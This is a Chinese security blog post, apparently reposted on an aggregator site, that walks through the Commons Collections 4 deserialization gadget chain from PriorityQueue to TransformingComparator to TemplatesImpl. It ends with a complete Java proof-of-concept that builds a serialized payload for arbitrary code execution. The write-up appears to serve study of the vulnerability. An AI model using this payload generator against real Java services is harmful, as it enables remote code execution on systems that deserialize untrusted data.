CommonsCollections4利用链分析

news2024/9/20 10:50:37

目录

前言:

0x01 代码分析

总结一下利用链:

POC:

完整的POC:


图 1-1 cc利用链

 

前言:

CC4这条链用到了新的Commons-Collections4这个依赖,由于这个依赖与之前的版本具有较大的出入,连groupId和artifactId都变了,前者是Commons Collections⽼的版本包,当时版本号是3.2.1;后者是官⽅在2013年推出的4版本,当时版本号是4.0。因此算是更新换代了。

<dependency>
    <groupId>commons-collections</groupId>
    <artifactId>commons-collections</artifactId>
    <version>3.2.1</version>
</dependency>
<dependency>
    <groupId>org.apache.commons</groupId>
    <artifactId>commons-collections4</artifactId>
    <version>4.0</version>
</dependency>

        但是在某种程度上还是换汤不换药,链的最后还是用了 Transform 类对象的 transform()方法直接去执行代码,或者是CC3的利用 TemplatesImpl 类去实现类加载执行任意代码。

0x01 代码分析


        由于我们还是在CC库里面去触发反序列化,所以还是找哪里调用了transform()方法,这里找到了 TransformingComparator 类的 compare()方法:

public int compare(final I obj1, final I obj2) {
    final O value1 = this.transformer.transform(obj1);
    final O value2 = this.transformer.transform(obj2);
    return this.decorated.compare(value1, value2);
}

可以看到这里调用了传入的 transformer对象的 transform()方法,然后往回找哪里调compare()方法,且最好是而直接就是重写了 readObject()方法,能够直接走到compare()方法。最终找到的是 java.util.PriorityQueue 优先队列这个类:

private void readObject(java.io.ObjectInputStream s)
    throws java.io.IOException, ClassNotFoundException {
    // Read in size, and any hidden stuff
    s.defaultReadObject();
 
    // Read in (and discard) array length
    s.readInt();
 
    queue = new Object[size];
 
    // Read in all elements.
    for (int i = 0; i < size; i++)
        queue[i] = s.readObject();
 
    // Elements are guaranteed to be in "proper order", but the
    // spec has never explained what that might be.
    heapify();
}

  • 可以看到,PriorityQueue 类的 readObject()方法最后调用了 heapify()方法,跟进:
private void heapify() {
    for (int i = (size >>> 1) - 1; i >= 0; i--)
    siftDown(i, (E) queue[i]);
}

  • 这里接着调用 siftDown()方法,跟进:
private void siftDown(int k, E x) {
    if (comparator != null)
        siftDownUsingComparator(k, x);
    else
        siftDownComparable(k, x);
}

  • 接着调用了 siftDownUsingComparator()方法,跟进:
private void siftDownUsingComparator(int k, E x) {
    int half = size >>> 1;
    while (k < half) {
        int child = (k << 1) + 1;
        Object c = queue[child];
        int right = child + 1;
        if (right < size &&
            comparator.compare((E) c, (E) queue[right]) > 0)
            c = queue[child = right];
        if (comparator.compare(x, (E) c) <= 0)
            break;
        queue[k] = c;
        k = child;
    }
    queue[k] = x;
}

到了这里可以看到调用了comparator对象的 compare()方法,并且这里的comparator可以在PriorityQueue 类对象初始化的时候传进去的,因此我们可控,而TransformingComparator类恰恰是实现了Comparator和Serializable接口(而在旧的Commons-Collections包中TransformingComparator类没有实现Serializable接口,导致无法使用这条链),能够作为我们利用的对象。

总结一下利用链:

PriorityQueue.readObject() --> PriorityQueue.heapify() --> PriorityQueue.siftDown() --> PriorityQueue.siftDownUsingComparator() --> TransformingComparator.compare() --> Transformer.transform()

  • 后面的部分就是CC1或CC3的写法了,这里以CC3为例,先把TemplatesImpl类对象构造好:
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_bytecodes", new byte[][] {ClassPool.getDefault().get(EvilTemplatesImpl.class.getName()).toBytecode()});
setFieldValue(templates, "_name", "HelloTemplatesImpl");
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());

  • 以及用 InstantiateTransformer类将TrAXFilter初始化,调 TemplatesImpl.newTransformer()方法,触发后续的调用:
Transformer[] transformers = new Transformer[]{
        new ConstantTransformer(TrAXFilter.class),
        new InstantiateTransformer( new Class[] { Templates.class }, new Object[] { templates })
};
 
Transformer[] fakeTransformers = new Transformer[]{new ConstantTransformer(1)};
ChainedTransformer chainedTransformer = new ChainedTransformer<>(fakeTransformers);

POC:

  • 创建⼀个 TransformingComparator ,传⼊我们的Transformer:
Comparator comparator = new TransformingComparator(transformerChain);

  • 实例化 PriorityQueue 对象,第⼀个参数是初始化时的⼤⼩,⾄少需要2个元素才会触发排序和⽐较,所以是2;第⼆个参数是比较时的Comparator,传⼊前⾯实例化的comparator:
PriorityQueue queue = new PriorityQueue(2, comparator);
queue.add(1);
queue.add(2);

后⾯随便添加了2个数字进去,这⾥可以传⼊⾮null的任意对象,因为我们的Transformer是忽略传⼊参数的。

        最后,将真正的恶意Transformer设置上:

setFieldValue(transformerChain, "iTransformers", transformers);

完整的POC:

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;
 
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.util.PriorityQueue;
 
public class CC4 {
    public static void setFieldValue(Object obj, String fileNmae, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fileNmae);
        field.setAccessible(true);
        field.set(obj,value);
    }
 
 
    public static void main(String[] args) throws Exception {
        TemplatesImpl templates = new TemplatesImpl();
        setFieldValue(templates, "_bytecodes", new byte[][] {ClassPool.getDefault().get(EvilTemplatesImpl.class.getName()).toBytecode()});
        setFieldValue(templates, "_name", "HelloTemplatesImpl");
        setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
 
        Transformer[] fakeTransformers = new Transformer[] {new ConstantTransformer(1)};
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(TrAXFilter.class),
                new InstantiateTransformer( new Class[] { Templates.class }, new Object[] { templates })
        };
 
        ChainedTransformer chainedTransformer = new ChainedTransformer<>(fakeTransformers);
 
        TransformingComparator transformingComparator = new TransformingComparator<>(chainedTransformer);
 
        PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator);
        priorityQueue.add(1);
        priorityQueue.add(2);
 
        setFieldValue(chainedTransformer, "iTransformers", transformers);
 
        serialize(priorityQueue);
        unserialize("ser.bin");
 
    }
 
    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }
 
    public static Object unserialize(String filename) throws IOException, ClassNotFoundException {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));
        Object obj = ois.readObject();
        return obj;
    }
}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/60651.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Android 基础知识4-2.1常用控件文本框(TextView)

TextView就是用来显示文本标签的控件&#xff0c;修改使用TextView显示文本的颜色、大小等属性。 实例代码&#xff1a; xml&#xff1a; <?xml version"1.0" encoding"utf-8"?> <LinearLayout xmlns:android"http://schemas.android.co…

有源晶振与无源晶振的区别

今天就来和大家分享下有源晶振和无源晶振的区别。 1.从外形上有源大部分有源晶振是这种四脚贴片的&#xff0c;差分有源晶振的话一般是6脚的&#xff0c;当然还有其它的一些封装 而无源晶振的有两脚插件的也有和有源晶振一样的这种四脚贴片的 2.无源晶振不需要额外供电&#x…

.移动端适配的解决方案

何为移动端适配 移动端适配就是值在不同的移动端 可以去讲我们的内容适应不同屏幕尺寸大小 我们之前写单位用的是px这个单位 但是这是一个写死的单位 rem 所以我们用一个可变的单位 rem &#xff08;是指用html字体大小作为单位 比如说我们设置html字体大小为16px 那么 …

[附源码]计算机毕业设计基于springboot的残障人士社交平台

项目运行 环境配置&#xff1a; Jdk1.8 Tomcat7.0 Mysql HBuilderX&#xff08;Webstorm也行&#xff09; Eclispe&#xff08;IntelliJ IDEA,Eclispe,MyEclispe,Sts都支持&#xff09;。 项目技术&#xff1a; SSM mybatis Maven Vue 等等组成&#xff0c;B/S模式 M…

一篇文章了解MySQL的group by

准备工作&#xff01; 1.本文章MySQL使用的是5.7&#xff0c;引擎使用的是innodb 2. 使用的表结构&#xff08;t1&#xff09;&#xff0c;字段a上有一个索引&#xff0c; 1. group by常用方法&#xff1a; group by的常规用法是配合聚合函数&#xff0c;利用分组信息进行统…

公众号网课查题接口使用方法

公众号网课查题接口使用方法 本平台优点&#xff1a; 多题库查题、独立后台、响应速度快、全网平台可查、功能最全&#xff01; 1.想要给自己的公众号获得查题接口&#xff0c;只需要两步&#xff01; 2.题库&#xff1a; 题库&#xff1a;题库后台&#xff08;点击跳转&…

用Hopper修改代理软件端口

背景 用代理软件可以访问google&#xff0c;但是端口经常不固定&#xff0c;从缺省1080变成了随机。 前几天其实已经用Hopper 3.0看了一次&#xff0c;但是好像不支持go&#xff0c;所以没反编译成功&#xff0c;这次换了4.0&#xff0c;支持了go。 Hopper与逆向 逆向的目的…

7.7 网络(二)

接上篇&#xff1a;7.7 网络&#xff08;一&#xff09;_龙赤子的博客-CSDN博客 目录 三 操作系统涉及的网络内容 1 网络栈 2 协议 3 应用 三 操作系统涉及的网络内容 1 网络栈 这里我们重点讨论操作系统里面的网络。这部分在整个网络架构中&#xff0c;属于端的技术。对于端来…

Spring - ApplicationContextAwareProcessor扩展接口

文章目录Preorg.springframework.context.support.ApplicationContextAwareProcessor内部的7个扩展点源码解析扩展示例Pre Spring Boot - 扩展接口一览 org.springframework.context.support.ApplicationContextAwareProcessor /** Copyright 2002-2020 the original author …

python中xpath解析

**前言&#xff1a;**今年博客更新的太少了&#xff0c;很多学习计划都因为工作原因延迟了&#xff0c;今年真的身心太疲惫了&#xff0c;终于有点能理解为什么有的同行们会无心学习了&#xff0c;今年同样也是吃老本的一篇博客&#xff0c;所谓好记性不如烂笔头&#xff0c;以…

Java中静态域和静态方法的一些梳理

最近发现自己对一些Java中的静态域和静态方法的基础知识掌握的不是特别牢靠&#xff0c;于是针对一些自己之前模棱两可的点&#xff0c;进行书籍的翻阅复习。 参考文献&#xff1a; Java核心技术卷一 静态域 将域定义为static&#xff0c;代表该类的所有实例对象都共享这一个…

[附源码]计算机毕业设计JAVA医药管理系统

[附源码]计算机毕业设计JAVA医药管理系统 项目运行 环境配置&#xff1a; Jdk1.8 Tomcat7.0 Mysql HBuilderX&#xff08;Webstorm也行&#xff09; Eclispe&#xff08;IntelliJ IDEA,Eclispe,MyEclispe,Sts都支持&#xff09;。 项目技术&#xff1a; SSM mybatis M…

QT5.14.2+cmake3.8.2+opencv3.4.0环境配置遇到的问题

1、cmke的configure时遇到无法下载opencv_ffmpeg.dll等三个文件 我直接用网上的下载好的在文件夹中添加&#xff0c;不过&#xff0c;一定要改成原文件的命名&#xff0c;就是带一堆数字签名的&#xff1a; 然后直接Generate,之后就可以去cmd编译了 &#xff08;因为再次conf…

RocketMq消息持久化(一)——存储架构设计概述

1.RocketMq 存储概要设计 RocketMQ主要存储的文件包括Comitlog文件、ConsumeQueue文件、IndexFile文件&#xff0c;存储路径为${ROCKET_HOME}/store&#xff0c;默认在当前用户目录下的store目录&#xff1a; store目录下的文件如上所示&#xff0c;分别有&#xff1a;checkpo…

[附源码]计算机毕业设计JAVA医院床位管理系统

[附源码]计算机毕业设计JAVA医院床位管理系统 项目运行 环境配置&#xff1a; Jdk1.8 Tomcat7.0 Mysql HBuilderX&#xff08;Webstorm也行&#xff09; Eclispe&#xff08;IntelliJ IDEA,Eclispe,MyEclispe,Sts都支持&#xff09;。 项目技术&#xff1a; SSM mybati…

Halo搭建个人博客网站

Halo搭建个人博客网站 一、docker部署Halo 目前测试了两种方法安装Halo&#xff0c;第一种是使用Jar包安装:提供JAR包资源&#xff0c;不过因为使用jar包部署需要Java11才可以&#xff0c;我本机使用的是Java8&#xff0c;所以暂时不做调整。第二种是通过docker安装。 1.1 启…

项目实例:H3C端口镜像 (镜像单目的端口 镜像多目的端口)

一、项目实例 某局业务系统三级等保项目&#xff1a;配置只列出端口镜像部分&#xff0c;其他部分及设备&#xff08;略&#xff09; 1.1 边界部署两台防火墙做HA高可用 1.2 核心使用两台H3C交换机做堆叠&#xff0c;上联线路分别连接防火墙&#xff08;主&#xff09;、防火…

【Python自然语言处理】隐马尔可夫模型中维特比(Viterbi)算法解决商务选择问题实战(附源码 超详细必看)

需要源码请点赞关注收藏后评论区留言私信~~~ 一、统计分词 统计分词基本逻辑是把每个词语看做由单字组成&#xff0c;利用统计学原理计算连接字在不同文本中出现的次数&#xff0c;以此判断相连字属于特定词语的概率。 二、隐马尔可夫模型 当一个随机过程在给定现在状态及所…

计算机组成详解(运算器、控制器、存储器、I/O部件)

文章目录1 概述1.1 计算机组成图2 三大部件2.1 中央处理器 CPU运算器 ALU控制器 CU2.2 内存储器2.3 输入输出设备3 扩展3.1 计算机系统结构图1 概述 1.1 计算机组成图 2 三大部件 2.1 中央处理器 CPU 运算器 ALU 运算器 ALU&#xff1a;Arithmetic Logic Unit&#xff0c;算…

游泳可以戴的耳机有哪些、推荐几款真正能戴着游泳的蓝牙耳机

现在身边很多人也是非常喜欢游泳&#xff0c;尤其是到了夏天的时候&#xff0c;这项运动可以消耗体内多余脂肪&#xff0c;起到很好的强身健体的作用&#xff0c;比其跑步来说有着明显的优势。不过想要转移游泳带来的疲惫&#xff0c;那么在水里面听听激情的音乐是必不可少的&a…